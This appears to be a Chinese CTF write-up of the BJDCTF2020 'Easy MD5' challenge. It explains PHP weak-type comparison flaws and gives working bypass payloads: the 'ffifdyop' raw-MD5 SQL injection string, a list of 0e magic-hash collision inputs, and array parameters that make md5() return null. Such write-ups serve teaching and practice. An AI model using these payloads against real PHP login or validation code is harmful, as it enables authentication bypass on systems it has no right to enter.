[BJDCTF2020]Easy MD5(浅谈PHP弱类型hash比较缺陷)

13 篇文章 2 订阅
3 篇文章 0 订阅

目录

信息收集

构造payload 

PHP弱类型hash比较缺陷

0e碰撞

数组MD5

总结


信息收集

看题目应该和MD5加密相关

select * from 'admin' where password=md5($pass,true)

PHP的MD5函数

string必需。规定要计算的字符串。
raw

可选。规定十六进制或二进制输出格式:

  • TRUE - 原始16字符二进制格式
  • FALSE - 默认。32 字符十六进制数

构造payload 

<?php
$str = "ffifdyop";
echo "字符串:".$str."<br>";
echo md5($str, TRUE);
echo "<br>";
echo md5($str);
?>

字符串:ffifdyop
'or'6�]��!r,��b
276f722736c95d99e921722cf9ed621c

即此时执行语句为select * from 'admin' where pass=''or'6�]��!r,��b'

根据sql语句的弱等于规则,此刻判定为1永真,进入admin

 查看源码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

PHP弱类型hash比较缺陷

== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较

0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

因此CTF比赛中需要用到弱类型HASH比较缺陷最明显的标志便是管理员密码MD5之后的值是以0e开头,在已知管理员密码md5值是以0e开头的前提下,观察代码逻辑,如果是使用"=="判断即可直接传入md5值是0e开头的任一密码。

0e碰撞

常见0e开头的MD5

QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675

payload

?a=240610708&b=QNKCDZO

跳转到以下页面

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

数组MD5

payload

param1[]=1&param2[]=2

原理

md5等函数不能处理数组,导致函数返回Null。而Null是等于Null的,导致了绕过。看下面的示例,是返回了yes的。(题目中就传入    ?param1[]=1&param2[]=2)


总结

md5(array()) = null
sha1(array()) = null    
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值